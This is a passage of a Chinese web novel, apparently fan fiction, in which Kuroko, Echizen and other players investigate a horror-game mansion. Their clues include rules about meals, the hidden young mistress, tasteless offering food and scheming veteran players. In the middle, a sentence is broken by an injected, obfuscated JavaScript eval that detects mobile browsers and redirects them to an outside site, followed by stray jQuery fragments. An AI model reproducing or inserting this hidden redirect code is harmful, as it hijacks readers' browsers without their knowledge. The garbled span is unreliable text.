“我看着他们长大,彼此感情深厚,如果他们……”
田中话没说完,管家便面无表情的打断他,“跟我来。”
田中刮刮脸,丝毫不受管家冷淡态度的影响,笑呵呵的跟上去,还趁管家不注意,对两个少年竖起大拇指。
到达某个楼梯入口时,管家严肃的警告几人,“你们可以去找那位客人,但绝对不能进入大小姐的房间。”
这句话让黑子以为到达二楼,他们会遇到一些陷阱,或者必须推开一些房间进行探索才能找到高桥,结果一上楼,就看到高桥躺在走廊上,失去意识。
“高……”田中下意识拔高音量,才发出一个音,胳膊被人抓住,他低头看,见蓝发少年竖起另一只手抵住嘴唇,他才反应过来,赶紧压低声音。
“高桥。”
声音不能太大,就只能动手了。
他使劲摇了几下,高桥幽幽转醒,看到几人,脸色微变。
“你们怎么在这?这里不允许外男进来,你们会违反规则。”
“放心吧,我们得到管家的同意了。”
田中飞快道:“快到午饭时间,结果你一直没出现,他们俩找理由让管家同意我们过来。”
高桥有些惊讶,正要说些什么,黑子出言提醒,“我们得抓紧时间去餐厅,最好不要迟到。”
一伙人又风风火火的赶路,期间还必须控制速度和声音,避免违反“不得大声喧哗打闹”这条规则。
他们到时,渡边和山下已经坐在餐厅了。
看到他们,渡边还微笑着打招呼,“你们来啦,快入座吧,马上开饭了。”
她指了指右手边,“高桥,你坐这吧。”
高桥表情变了又变,选择坐在田中附近。渡边表情没变,语气温和的询问,“你脸色不好,发生什么了?”
山下直接看着黑子,“你用技能偷偷潜入大小姐那儿找人?还真是好心啊。”
后一句语气有些阴阳怪气。
这是不考虑他们说服管家的可能吗?
黑子有些好奇这两个老玩家以前是如何通关副本的。
“吃完饭我会说在大小姐那儿的经历。”高桥忽然开口,直接打断两位老玩家的试探。
她都这样说了,渡边和山下也没再说什么。
很快,阿菊将大家的午餐端上来,是分餐制,每个人的分量不算很多,黑子松了口气。
山下和渡边直接吃了。
黑子几人也尝了味道,很快表情微妙起来。
这些饭菜色香俱全,唯独没有味道——字面意义上的没有味道。
黑子嚼了嚼嘴里的鱼肉,肉质很奇怪,完全没有味道,可明明闻上去那么香,色泽也很美丽,给人一种大厨的感觉。
管家没有来,小梅也不见踪影,只有阿菊站在餐厅外,微微垂着头,脸部完全陷入到阴影里,像只木偶。
黑子悄悄看了阿菊一眼,继续吃着完全没有味道的食物,脑海里浮现出他之前在厨房外偷看到的画面。
食材新鲜,阿菊处理食材的手法熟练……到底是哪里出了问题?
黑子艰难的解决自己那一份,抬头一看,大家也解决了,特别是田中,碗碟杯子干干净净。
注意到他的目光,田中干笑了一声。
好吧,黑子得出结论,田中先生不是太饿了,而是太怕了。
“我们吃好了,阿菊,谢谢你。”渡边主动说。
“能让客人们满意是我的荣幸。”阿菊这才抬头,露出那张和蔼可亲的脸庞。
她拒绝玩家帮忙,动作麻利的将桌子收拾干净,微微鞠躬后离开,独留下玩家们。
“当时我说要感谢大小姐时……”
高桥开口,把所有人的注意拉过去。
“管家很开心,他带我到大小姐居住的那栋楼,让我自己上楼。上去前,他和我说大小姐性格内向,不爱露面,一般隔着帘子待客,如果强行和她见面,大小姐可能会因为受到惊吓生病,老爷会生气,不欢迎这样无礼的客人。我找到大小姐的房间后,果然看到一道人影坐在帘子后……”
高桥边说边回忆。
得到允许后,她推开大小姐的房门,因为记得管家的嘱咐,不怎么看那道帘子,拘谨坐在桌子旁,连桌上的茶水点心都没碰。
“我们开始聊天,她问我外边的世界,我胡乱说了一些,又反过来问她有关她父母祖父母的爱情故事。”
高桥解释自己当时的打算,“我觉得直接问长尾家的爱情传说很突兀,既然他们家的爱情故事能流传这么久,后人就算为了这个人设,也会努力维持婚姻美满的形象吧?结果……”
“别卖关子。”山下忍不住拍桌。
高桥不看他,继续低着头,两只手紧紧的合住,“结果大小姐很生气,说我故意看她笑话,我只能道歉,哄着大小姐,她才继续和我聊天。我又说了一会外边的世界,准备引入正题时,忽然变得很困……再之后,我被叫醒,和大家一起来到餐厅。”
看出山下的推测,高桥主动隐去黑子等人与管家的交锋。
她不提,黑子几人更没说的打算。
“只有这么一点?”山下有些不满,“你别是故意隐瞒。”
“靠我一个新人根本没法通关,我没必要隐瞒,”高桥抬头,表情有点不甘心,“如果我当时能够保持清醒,肯定能找到更多情报。”
渡边点头附和,“看来只要得到允许,和大小姐交流不算违反规则,重点是如何保持清醒,或者装睡后在大小姐的住所寻找线索。”
这一次,高桥并未投去感激的目光,渡边笑容僵住,眼神以肉眼可见的速度冷下来。
山下瞪了渡边一眼,起身走了。
“我先回去休息,你们自便。”渡边也起身离开。
餐厅里安静了一会,田中举手,“藏书阁已经开放,我们去查阅长尾家的记录吧?”
黑子和越前起身,高桥默不作声的跟在身后。
藏书阁的门果然被打开,里边空无一人。
“奇怪,山下没来?”田中张望。
“如果他们以前认识,熟悉彼此的作风,”越前双手插兜,随意扫视书架上的书籍,“山下应该能猜出渡边从藏书阁里带走了东西,直接问渡边更高效。”
“也是,”田中抓抓头发,张大嘴看着琳琅满目的书籍,“我们要找到什么时候去,渡边是怎样找到想要的东西?”
听到关门声,同样仰头的黑子回头,“高桥女士?”
“我有话对你们说。”
穿着白裙的女孩抵住门。
高桥深呼吸,“我在大小姐那儿发现了别的线索。”
黑子不太意外,他注视着脸色苍白的女孩,认真询问,“重要的线索很有价值,也许渡边女士和山下先生愿意和你交换。无论你们现在关系如何。”
之前因为两位老玩家没发现系统提到的“六人”,他怀疑两人的资历有些水分。不过,山下第一个发现花园里的尸骨,渡边直奔藏书阁拿走东西,这些行为都证明他们经验的确比新人们丰富,能更高效的利用时间。
“我知道,但你们救了我,如果不回报一些东西,我会对自己失望的。”高桥很直白。
“哈哈,你太客气了,”田中有点开心,又觉得自己占便宜了,老老实实的承认,“你迟到未必会有危险。说到底,我们都没见过违反规则的下场,说不定是自己吓自己呢。”
黑子没吭声,其实他觉得高桥如果缺席了午餐,还真有可能有危险,证据是当时管家说的话。
管家一直强调“礼节”,但他很没礼貌的不过问高桥本人的意愿,提出将属于她那份餐食一同送过去,还用“大概”这样的字眼形容高桥没出现的原因。如果大小姐热情好客,会挽留同龄人,管家的语气会更加笃定才对。
还有,之前管家只说了几个时间点,并未格外嘱咐他们要守时,是他们自己根据“老爷不喜欢没礼貌的客人”推断出要准时出现在餐厅,这是语言陷阱。
为了将高桥留在大小姐那,挖了陷阱的管家居然主动说“错过了饭点可不好”这种几乎是明着告诉他们一条规则的话。
可见,管家非常希望高桥留在大小姐那儿错过午饭。
“不,”高桥的话打断黑子的回忆,“我知道违反规则的下场。”
黑子几人惊讶。
“其实我并没有问大小姐她父母祖父母的爱情故事,她生气的原因是我拒绝吃那儿的食物。”
高桥回忆当时的场景,忍不住抱住胳膊,身体微微颤抖。
“我先入为主的觉得这儿的NPC不怀好意,所以大小姐越是劝我吃那儿的点心,我越觉得有问题,加上只有我一个人在那……太紧张了,想都没想直接连续拒绝三次。第四次拒绝时,她很生气的说‘你这样实在是太失礼了’。我就知道要糟,毕竟按照之前管家说的话,‘和睦’‘安静’和‘礼节’是三大基础规则。”
高桥抬头,瞳孔有些涣散的看着几人,“我看到了……帘子后出现巨大的蛇影,房间温度降低,感觉墙面和地面要结冰。我疯狂道歉,找了好多理由,像‘我长途跋涉太累了胃口不好’‘胃口太小了,担心待会吃不下正餐’之类的。在这个基础上,我又表示‘盛情难却尝一尝’,吃了块点心喝了口茶,那种诡异的感觉才消失了,蛇影不见了,大小姐的语气又变得温温柔柔。”
“高桥女士,给。”
待黑子走近递出手帕,高桥才发现自己满头大汗。她道了声谢接过手帕。
平复了呼吸,她说出自己的推测,“所以我觉得,有些规则如果违反了,有补救的机会,不及时补救,就会有性命危险。你们也是找了合理的理由进入那栋楼吧?”
黑子点头,“管家当时说过,可以去找你,但不能进入大小姐的房间。”
“这就对了,你们的理由只支持你们进入那栋楼,如果进入大小姐的房间,还是会违反‘外男不能见大小姐’这条规则,也许你们也会看到蛇影,又也许是其他危险。好在你们当时没冒险。”
“哈哈,”田中干笑,“因为我们都急着去餐厅。”
“奇怪,那高桥女士为什么会昏迷?”越前疑惑,“你及时补救了。”
“因为大小姐的房间点了香,像是檀香。也就是说,从一开始接近大小姐就有风险。”提到这件事,高桥反而很冷静。
“我在吃点心之前就有些昏沉,当时以为是房间没开窗户又点香太闷了,等我询问长尾家的爱情传说时,大小姐开始讲述他们家的祖先长尾长生与妻子的爱情经历,只讲了一个开头,我就从椅子滑下去,几乎马上失去意识。”
“我一直掐自己,勉强坚持了一下,但没有力气也不敢睁开眼。我听到脚步声,应该是大小姐从帘子后走出来。她摸我的脸,说着‘好新鲜’。她的皮肤很光滑,光滑到有些恶心,之后我彻底晕过去了。如果你们没来找我,我肯定会错过午饭违反规则,”高桥笃定道,“女性才能见大小姐,以及两个陷阱,可能有更多陷阱。要求严苛,风险高,意味着高收益,我觉得大小姐这条线非常重要,不是大BOSS就是小BOSS。”
黑子认可这一点,“三位仆人很好接近,老爷和大小姐不好接近。不过既然符合条件可以接近大小姐,那么应该也有接近老爷的机会。”
“对了,”高桥拍拍脑袋,“差点忘了说,餐厅那些食物有檀香的味道。说实话,我还怀疑过阿菊是大小姐,虽然声音和身形都对不上。不然我想不明白食物上怎么会沾上和大小姐房间一样的味道。”
这话让黑子想到那些食物完全没有味道,顿时联想到另一种可能。
他抬头看看还在努力思索的几人,咽下这个猜测。才吃完饭,要是说出来,大家可能会吐出来。以及,目前证据不足,他得再找些线索,否则只会让大家提心吊胆,抵触每一次用餐。
要验证这一点,还需要去主屋看看。
接近老爷很有必要,而接近对方的理由……黑子环顾周围的书架,“我们抓紧时间。”
“好,”田中立马丢掉脑子,“我发现这里的书都没分类,应该是故意让我们花费时间,也说明肯定有线索,大家齐心协力,肯定能找到关键线索。”
“前提是关键线索不止一份。”越前提醒。
“田中先生,渡边女士拿走的东西大概多大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332776|199184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”黑子问。
“呃,”田中回忆,“她当时藏在衣服里,大概鼓起来这么多,应该只装了几本书……不过有些地方不像是装了书,而是……”
他目光逡巡,很快定格在一处,“是木简!她拿了木简!”
几人直奔保存木简的地方。
田中看得头昏眼花,改为找书册。
高桥揉揉眼角,灵机一动,“我去偷渡边姐拿走的东西怎么样?”
几人看他。
黑子真诚问:“您能在她眼皮底下动手脚?”
“不能。”高桥小声道。
“那个,”想到什么,高桥戳了戳跟前的木简,“我之后能和你们一起行动吗?我会很努力,也会共享情报的。”
“可以,您刚刚提供的情报非常重要,”黑子认真道,“辛苦您了。”
越前头也不抬,懒洋洋道,“有女士加入帮了大忙。”
田中挠头发,“我没意见,你们都比我聪明、敏锐。”
高桥红了眼眶。
“其实,”她说,“我知道渡边姐的友善是一种投资,而想要获得老玩家的帮助需要证明自己的价值。刚进入游戏那会,我的情绪也因为这样的友善稳定下来,所以在不危及生命的情况下回报她是合理的,我心甘情愿,但单独去见大小姐不在我的考虑范围内。至少再收集一些线索,再摸索出一些规则,有足够的底气和勇气,我再去找大小姐。毕竟哪有开局打BOSS的?我这样做出承诺,结果渡边姐生气了。”
高桥苦笑:“她比我想象中更没耐心,我想讨好她,但不想拿自己的性命讨好,所以我都做好她翻脸的准备。就在我转身的时候,她突然拍了拍我的肩膀,温言细语的劝我……我改变主意了,去花园摘花,去找管家,去见大小姐……很诡异对不对?”
“技能或道具效果?”黑子猜测。
“应该吧,当时我有些迷糊,只觉得她说得好对,等进入大小姐居住的房间才清醒过来……我想,她知道开局见大小姐有风险,又很想第一时间拿到线索,又或者消耗掉我这个新人试探出一条规则。”
高桥摊手:“餐厅里,她态度那么好,估计是以为效果没过我还有利用价值。”
“幸亏你敏锐,”田中庆幸,“我们以后都要当心。”
“祸福相倚。”黑子总结。
“嗯!”高桥重重点头。
几人又埋在书海里。
黑子一直在心里计时,快到五点时,他提醒大家准备离开藏书阁。
“头好痛,”田中昏昏沉沉,“我宁愿加班。”
“感觉很多内容差不多。”高桥吐槽,“长尾家的人的人生都是复制粘贴吗?”
有着墨绿头发的男孩靠在书架上,低着头,不吭声,帽子遮住大半张脸。
黑子放下一枚木简,走近,弯腰。
越前立马睁开眼,“我没睡。”
“嗯,你没睡,”黑子慢吞吞的说,“只是闭目养神。”
越前:“……”
黑子若无其事的转开目光,“这些记载基本都在说,长尾家的每任族长是如何遇到恋人结为夫妻。偶尔有些恋人生病,或者族长因纷争离家没有消息,但最后,两人一定重逢、成婚、恩爱到老。”
“这算什么爱情传说?只要基数够大,夫妻恩爱的故事管够,”高桥摸着下巴,再次惦记上被渡边拿走的东西,“关键内容在渡边姐那吧,偷不了,我拿大小姐那边的情报和她换试试?不过渡边姐也能见大小姐,不知道她买不买账。”
这是还没发生的事,黑子几人也说不好。
“说起来,长尾长生这个名字让我想到《怪谈》里的一篇故事。”黑子娓娓道来。
“故事里,长尾家继承人长尾长生有一个未婚妻阿贞,在要成婚前,阿贞因病去世,约定一定会再遇。长尾长生也说他们有七世缘分。后来长尾长生与别的女性结婚生子,在父母妻儿都去世后周游,多年后遇到一名像极了曾经未婚妻的侍女。那名侍女也叫阿贞,能说出长尾长生未婚妻和他的来历。长尾长生认定这是阿贞的转世,两人结为夫妻。成婚后,侍女却不再记得原来那个阿贞,以及两人相遇时的事。”①
听完故事,高桥果断评价,“老牛吃嫩草。”
田中抓脸,“没看出哪里恩爱了。”
越前定定的看着蓝发少年,“黑子前辈觉得两个长尾有相同之处?”
“这个。”黑子举起木简。
“这个故事的背景提到越·前国和越后国,恰在飞鸟时代末期和奈良初期。木简的流行也是从飞鸟时代开始,末期以及奈良时代盛行。”
黑子知道这不足以支撑两个故事有关联,“藏书阁的记载没提具体的时代,如果我们按照现实木简流行的时间推断,过去差不多七百年,也就是室町时代?。”
“我路过茶室时看到武士刀了,”越前回忆,“武士刀在现代算是装饰物,但在室町时代?很有意义吧?”
田中晕乎乎,“也就是说这个副本背景是室町时代??我不太记得这个时代的特征。”
“不能确定,不过饮食方面比较像,素食为主,辅以鱼类和海产品?,分餐制,使用小桌?盛放菜肴,没有兽肉,”黑子摇头,“这些只是佐证,没有关键证据,我想找个机会去主屋看看。”
“如果这个副本借鉴了那个故事,岂不是长尾先祖,那个长尾长生与阿贞有七世情缘?”高桥快速翻木简,“上边只记载一任妻子啊。”
“难道要娶七个阿贞,这算什么传奇爱情故事?”田中嘀咕。
“我们可以更大胆一点,”黑子放下手里的木简,“一世娶七次叫七世情缘,一世娶一次连续七世,也是七世情缘。”
“如果一世算一百年,”越前顺着他的话往下推测,“刚好到第七世。哈,难道老爷是长尾长生的转世?”
【叮——】
黑子发现半透明面板自己打开了,主线任务下多了一栏。
【隐藏任务:寻找长尾长生与妻子的七世情缘之谜。】
“哎?”
黑子眨眼,突然出现隐藏任务,岂不是变相证明他们的猜测有道理。
“你们看见没,出现隐藏任务了!”田中激动。
“居然有隐藏任务,”高桥惊喜的望向黑子,“渡边姐说哪怕是老玩家,触发隐藏任务的概率也不高。隐藏任务可以不完成,如果完成会有格外奖励,还很丰厚!”
“这证明老玩家之间也是有区别的,”田中半开玩笑道,“我真的抱到大腿了。”
“我也是。”听出他开玩笑的意味,高桥也跟了一句。
黑子摇头,“我是新人。”
田中和高桥对视,纷纷摇头,“哈哈,这个时候不要开玩笑啦。”
“我真的是新人。”
看出他的认真,田中和高桥沉默了下,如实承认,“完全没看出来,真的。”
“大概,”越前将帽子抬高了一些,唇角隐约有笑意,“因为黑子前辈是面瘫脸,看上去很沉稳可靠吧。这是面瘫脸的优·点。”
田中和高桥忍住点头的冲动。
黑子转向越前,犀利道,“越前君很有经验?”
“这个嘛,”想到自家网球部那位严肃面瘫脸部长,越前挑起眉头,“还真有经验,区别是,他接近一米八。”
身高不足一米七的黑子:“……”
蓝发少年定定看着这位学弟,“我和他还有别的相同点。”
越前有不好的预感。
“都有一个容易被误会的学弟。”
哪个方面容易被误会?
曾因身高把越前当作小学生的田中有经验。
田中努力缩小存在感,还试图提醒高桥。
“等等,有脚步声。”高桥严肃起来。
黑子和越前立马停止互相伤害。
很快,管家长尾忠次郎出现在门口,“诸位客人,藏书阁要到关门时间了,如果想阅读,需要等到明日。”
“我们可以带出去阅读吗?”黑子问。
管家摇头,“很抱歉,自先祖时期有规定,不允许任何人以任何方式从藏书阁带走任何物品。”
黑子几人出门,眼睁睁看着管家把藏书阁的门锁上。
等管家转过来,黑子又说,“贵处为我们提供住宿和饮食,还允许我们过来借阅,我们实在过意不去。”
他做出秀肌肉的动作,“我不太擅长别的,打扫还是没问题。之前路过主屋,不小心看到庭院有许多落叶,请问我可以帮忙打扫吗?”
越前几人紧张注视着管家的反应。
“可以是可以,”管家语速比之前缓慢一些,“不过老爷白日里待在房间里看书,不喜欢庭院里有声音,如果要帮忙打扫,只能在晚上了,这样会影响客人您休息。”
这句话槽点太多了。
不过正如之前高桥说的那样,不露面的老爷和大小姐是最关键的角色。和他们接触风险很高,同样收益也很高。
黑子心里有许多猜测,现在就差验证的机会。
“没关系,我也想为老爷做些事。”
管家表情柔和了一些,“晚饭后,您来主屋吧,我会为您提供清洁工具。”
这话一出,越前三人也主动提出要去打扫。
“这位客人,”管家望向高桥,眼神有些冰冷,“自夫人去世后,老爷规定,不允许任何女性进入主屋。”
高桥被他的眼神吓到,“啊抱歉,我不去了。”
面对田中和越前,管家面露难色,“庭院并不大,有这位客人足以。”
这话让越前和田中更不敢让黑子一个人去主屋。
大小姐那边只允许女性接触,单独去的高桥差点栽了。现在轮到只允许男性接触的老爷……
田中:“父母自幼教育我不能不劳而获!”
越前:“我也是。”
想起他们之前为找高桥定的人设,他还慢吞吞的补充一句,“我不想和哥哥分开。”
3. 新手关3
可以观察到各处通往厨房的绝佳之地,一名有着水蓝色头发的男孩安静的站在那,同色的眼眸眨也不眨的观察。
终于,一道对他来说有些陌生的身影出现在视野里。
那是一名二十左右的年轻女性,穿着菊纹和服,手里提着一个三层的大食盒,几乎是悄无声息的从后门进入厨房,并未多停留,很快离开了。
根据穿着样貌,黑子判断出这是越前君提到过的长尾家三位仆人之一的小梅,负责侍奉大小姐。
待小梅离开,黑子静悄悄的靠近厨房后门,透过门缝,从另一个视角观察阿菊的动作。这位和蔼的仆人以虔诚的动作从食盒里取出食物。
如果不出意外,这将是他们这群“客人”今日的晚餐。
猜想得到证实,黑子的心却沉下去。
高桥说过中午的餐食有檀香的味道,而他明明见过阿菊处理食材,最后的食物色香俱全唯独无味。
供奉。
据说,被供奉过的食物如果被鬼神等食用过精华,会没有任何味道。
现实世界里,被供奉过的食物会按照情况的不同进行不同的处理。比如供奉给祖先的食物会由家人分食,庙里供奉过的食物会散给信众,或是分给穷人。
问题来了,为什么这栋宅子的人要让客人们吃被供奉过的食物?
黑子想到了那座供养塔,又想到最初来到宅子时,管家没有站在门口迎接,而是站在廊下,是他们这群客人主动自愿踏入庭院中。
踏入庭院,分食被供奉过的食物……他们“自愿”成为某个不知名存在的信众了。
现实中还好,如今在恐怖游戏里当某个不知名存在的信众,肯定不是好事。
蓝发少年静悄悄的离开,他站在风中思索,算算时间,距离晚饭还有接近半个小时,现在冲进厨房里打翻食物肯定是不明智的举动,但这个时间也不能浪费。
他循着小梅离开的方向找过去,没一会看到正在收衣服的小梅。
和越前君说的一样,外装共有四件。
老年男性的和服是龟甲纹,中年女性的和服是简单的藤纹,两件年轻女性的和服分别是牡丹纹和桐纹。
目光在那些纹样上停留了会,少年原本平静的神色逐渐凝重。
收好衣物的小梅进屋,黑子移开目光,准备前往餐厅,没走出多远,注意到山下站在一棵树下,紧盯着大小姐居住的那栋楼。
黑子想起下午那么长时间,山下和渡边都不曾前往藏书阁的事,闪身躲在一块装饰用的巨石后。
没一会,他听到山下的冷笑声。
“哟,终于出来了,现在肯说你在藏书阁查到什么了?”
“别告诉我你一下午都在这儿盯着,没去查别的线索?”
“没错。”
“你!”
“呵,你好意思生气?”黑子可以清楚听到山下磨牙的声音,“自合作后我们约定好了,如果出现在同一个副本,你来软的,我来硬的,拿下新人。如果你的真面目被新人看穿,我再顺势站出来施舍点情报把人骗过来继续利用,结果呢?”
“按照以前的节奏,至少第一天还要哄着新人把情报都交出来。你选左边那个房间,也是想等晚上骗那个高桥听到声音出门验证规则吧,为什么白天让她单独去大小姐那送死?她没死,也肯定藏了情报,还让其他新人都警惕我们。不仅如此,他们都靠拢那个面瘫小孩。什么都不做得到三个耗材,那家伙才是赢家。”
面瘫小孩黑子:“……”
他摸摸自己的脸。
他不是面瘫,只是表情比较少。
“你以为我想这么快出手?”黑子听得出来,渡边话语里也充满了对他的怨念,“那家伙才是真的烂好心,不然怎么会建议我和高桥住中间?他看出我的目的,要保高桥。啧,本以为哪怕有技能,也是个好糊弄的小孩子,结果不管怎么说都不上套。”
“不提这个了,三个新人也顶多试探出三条规则。反正你也能见大小姐,我们不缺这条线的情报。说吧,你在大小姐那儿找到什么了?”
“合作的前提是共享,”轮到渡边冷哼,“没错,我用了一个宝·贵的道具,在藏书阁拿到非常关键的线索。也冒险在大小姐那儿查到些情报。你总该有点诚意,我不信你什么都没查到。”
“当然,我也查到了一些。不过,如果我先说了,你反悔怎么办?我用武力逼迫你算违反规则,你明知这一点。”
两人陷入僵持。
黑子开始思考如何不惊动两人先离开了。
情报很重要,但他不想迟到。他没有积分没有道具没有技能保命。
好在僵持的两人也知道时间的重要性。
山下再次冷笑:“别装了,你偷跑不就是想开隐藏线?”
“说得你不想开隐藏线一样?”渡边还真不装了,“副本难度取决于多个因素,新老玩家比例是其中一个。这个副本是3:3,我们俩还不算什么资深玩家,所以副本难度根本不会很高,是开隐藏线的好机会。”
黑子默默的想,新老比例其实是4:2,副本难度应该比两人想象中更低。
如果是这样,那么,他不该怀疑自己的判断。
他疑惑的是,这两人因隐藏线剑拔弩张,似乎不知道隐藏任务可以共享。
以前没开过隐藏线?资深玩家的“水分”也许比想象中还多。
“难度不高,意味着哪怕通关也就三百到五百积分,太少了,必须开隐藏线才能多拿一些积分,获得一些道具,”渡边说,“我不想在这儿浪费时间。这样,我说一条情报,你也说一条,如此反复,直到其中一方没法提供新的情报。”
“可以,”山下同意了,交易前,他又警惕起来,“那个黑子的技能和隐藏身形有关,不会躲在附近偷听吧?”
“找找看。”
“敢偷听就要付出代价,把人关起来错过晚饭好了,这可不算‘玩家互相伤害’。”
黑子:“!”
“扑通!扑通!”
黑子抓住衣襟,呼吸趋近于无,头脑却是前所未有的清明。他视线飞速移动,思索着逃跑路线。
虽然被拉入游戏前,他因为篮球部的训练体力达到极限,进来后也没怎么休息还一直动脑,但他要相信人类在绝境之下的潜力。黑子安抚着自己。
根据两人的脚步声判断方位,根据前方的景致判断每条路线被围堵的可能,还要分析自己的速度。
在选定一条路线时,黑子忽然想到自己的薄弱存在感。
为什么这个时候不相信自己的存在感呢?
以不变应万变。
渡边和山下以背对背的方式转到巨石的背面,两人如同盲人那般摸索着空气。
黑子:“……”
“没有。”
“我这边也没有。”
“那应该不在?”
“不清楚。”
“以防万一,换个地方。”
“你别是不想说。”
“怎么可能,我只是提防那个黑子。”
“提防?只要他想,能一直跟着我们,迟早能拿到我们调查的情报,你能一直防着?”
黑子默默看着两人当着他的面吵起来。
居然真的没看到他。
以及,他最想知道渡边从藏书阁拿走的木简和书籍内容,别的他会和越前君等人一起调查。目前看来,两位老玩家的经验不算丰富,观察力也不算敏锐,似乎积分和道具也不多的样子。
起点比他们高,但动动脑努努力就可以追上。
最终,两个互相不信任的合作者以快要吃晚饭、黑子可能躲在附近为由,决定先吃饭再共享情报。
黑子目送他们离开,等彼此隔着听不到脚步声的距离后才抬脚出发。
【叮——】
脑海里传来的声音让黑子停下脚步。
【恭喜玩家激发天赋技能——幻影】
半透明面板自动弹开,多了一个技能栏。
【天赋技能:幻影】
【被动:玩家的存在感会在物理、精神等各层面变得薄弱,精神层面的薄弱对敏锐值较高的人无效。】
【等级:lv1】
【能力说明:使用后自身隐形5分钟,冷却时间8小时,可中止,直至时限耗完开始冷却】
【注:该技能可升级可突破】
哎?
黑子眨眼,再眨眼。
有点突然。
作为一个情绪相对稳定的人,黑子很快冷静下来,目光从“精神层面的薄弱对敏锐值较高的人无效”上扫过。
初入游戏,渡边山下和田中先生忽略系统提到的“六人”的原因得到解释。
这么看来,越前君最敏锐,从一开始就在寻找他的身影,只是没找到。
“有些人的才能很明显很耀眼,有些人的才能经由时间缓慢显露。黑子前辈像是后者。”
越前君那句话在耳边回荡。
黑子紧绷的肩膀逐渐放松。
初入游戏的征兆,不出声连副本角色都会忽略的存在感,以及刚刚他那种福至心灵的状态。他在游戏里的才能真的随着时间缓慢的显露。
在将自己的发现告诉队友们之前,黑子需要解决晚饭。
鱼类和海产品与中午略有不同,味道是一样的没有味道,而菜色……和他从后门偷窥时看到的一模一样。
看了看其他人的反应,黑子在心里叹气,有时候不知道也是一种幸福。
吃完饭,渡边和山下很快离开,离开前,还警惕的看了黑子一眼。
并不打算过去偷听的黑子:“……”
实话说,他觉得,以这两人的心态,哪怕避开他,估计会一直不主动共享情报。如果渡边的行动是上午一直在藏书阁,下午一直在大小姐那,山下上午去花园和厨房,下午一直盯着大小姐的住处。对比之下,山下更容易忍不住动手。
又很快,黑子等人回到住处。
“渡边姐不在,山下的房间也没动静,不知道去哪了。”
高桥走进黑子等人的房间,把房门关上。
“应该是去商量要不要共享情报,”黑子简洁道,“下午,渡边女士去见大小姐了,山下知道这件事。”
“原来是这样,”高桥有点遗憾,“那我知道的情报没法和她交换了。”
“还是总结我们这边查到的情报吧。”
田中举手,“离开藏书阁后,我和越前去了茶室,认真研究了下那儿的武士刀,结论是……没有结论。”
这位上班族弱弱道:“那个,我不太懂这些,可能读书的时候学过吧,但是忘记了。”
戴着鸭舌帽的少年只字不提他国文特别是古文薄弱的事实,“从武士刀的造型来看,历史很久。我有看过其他一些武士刀。”
少年也不提他因为来访客人称呼老爸“武士南次郎”,一时好奇查过武士相关的资料。
“我们在茶室找到一幅画像,是那位先祖长尾长生的画像,”越前盘腿坐着,单手撑着下巴,“时间太久了,纸张泛黄,人物模糊,只知道很年轻,轮廓有些眼熟。”
他看了田中一眼,后者抓头发,“我也觉得眼熟,担心是先入为主了。”
“眼熟?”高桥思索,“目前我们就见过三个NPC吧,年轻的长尾长生和谁很像?管家?说起来,管家叫长尾忠次郎呢,是被主家赐姓还是本身就是长尾家的人呢?”
越前和田中都表示年轻的长尾长生轮廓和管家有点像,但画像太模糊了,五官并不具体。
“关于这个,”黑子说出自己的发现,“管家今天穿的是七宝纹,这是颇有佛家寓意的纹样,现代没太多忌讳,在古时,在室町时代是贵族、武士大族才能用的纹样。还有小梅清洗的那件龟甲纹和服,同样是以前的贵族专属。”
田中瞪大眼,激动的拍腿,“那就是了,这个管家肯定是长尾家很有地位的人,是长尾长生的血脉,他说不定知道很多,晚上,还有明天咱们再会会他。”
高桥若有所思,没有反驳这个说法。
“黑子前辈很了解这些,”对古文苦手的越前学弟猜测,“前辈很擅长古文?”
“嗯,算是擅长现代文和古文,平时也喜欢看文学作品。”
黑子继续说:“还有两件年轻女士的衣服,牡丹纹寓意好,贵族平民都用,但那件梧桐纹的和服,也是贵族专属。”
“梧桐纹的那件是大小姐的?”田中问。
黑子摇头,“小梅穿的那件菊纹,不是普通菊纹,如果我记得没错,也是这个时代的贵族专属。”
田中抱住脑袋,“等等,我好像有点糊涂了,总不可能小梅也是长尾长生的血脉?”
“小梅……”高桥忽然开口,“黑子君,离开藏书阁后,我没按约定的那样,马上回来检查房间,而是去找小梅了。”
黑子望过去。
“高桥女士为什么去找小梅?”
“因为我突然想起来,小梅手上没茧,看上去很光滑。”
下午待在藏书阁四小时,他们四人不止埋头在书海里,也共享了所有情报。没去厨房的高桥也因此得知三位仆人平时的分工。
“如果和阿菊分工,也会负责清洁和一些重活,为什么手上会没茧?为什么两件年轻女性的衣物款式、布料和大小差不多?”
高桥沉下声音,“哪怕是我,也没有见过大小姐的脸,有没有这样一种可能,小梅就是大小姐?”
田中张大嘴看着她。
“抱着这样的怀疑,我去找小梅了。她又在绣花,说起来,上午我和渡边姐去找她的时候,她也在绣花。她用的料子很好,手上有茧就会刮花,所以不能有茧。一般古代大户人家,会有专门的绣娘吧,干重活的是其他人。这家没分工,与其说养不起这么多,不如说是这是副本故意留下的破绽。”
“因为大小姐的衣物布料和仆人差不多,仆人却用精贵的料子绣花?”越前顺着她的推测。
“对,所以,我觉得小梅是大小姐的可能性很高,现在听了黑子君的话,可能性更高了。”
“你当时没看到大小姐的脸啊。”田中摸不着头脑。
“是没看到,大小姐见女性也要隔着帘子本身就可疑,”高桥忍不住咬住指甲,“当时太紧张了,我没注意她和小梅身量有没有差别,只知道两人发型不一样,声音不一样,手指的触感……我本来想找机会摸摸小梅的手,但她以身体不适让我离开,我只能离开,躲在远处看了看,发现阿菊给她送饭。阿菊拿的那个食盒太大了。”
“高桥女士,”黑子语气难得急切起来,“你看到的食盒外边是不是……”
黑子形容一番。
高桥点头,“你怎么知道?”
“那你看到小梅把食盒提到哪里去了吗?”
“留在她绣花的那个屋子里,我还以为她要给大小姐送餐呢。”
“现在,”黑子将所有线索窜起来,点头,“小梅是大小姐的可能性已经超过60%了。其实,我看到小梅将食盒还给阿菊那一幕,里边的饭菜并没有动,还出现在我们的饭桌上。”
